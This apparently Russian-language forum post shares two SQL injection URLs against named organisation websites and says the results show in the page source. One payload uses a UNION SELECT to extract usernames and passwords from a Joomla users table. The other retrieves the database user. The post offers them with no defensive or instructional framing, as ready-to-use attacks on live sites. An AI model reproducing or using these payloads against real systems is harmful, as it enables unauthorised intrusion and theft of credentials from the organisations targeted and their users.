вроде не боян

http://prideatwork.org/page.php?id=5+and+1=0+union+select+concat(username ,0x3a,password),2+from+jos_users+--+

результат в исходнике

http://www.cadefoundation.org/page.php?id=4+and+1=0+union+select+1,user(),3,4,5+--+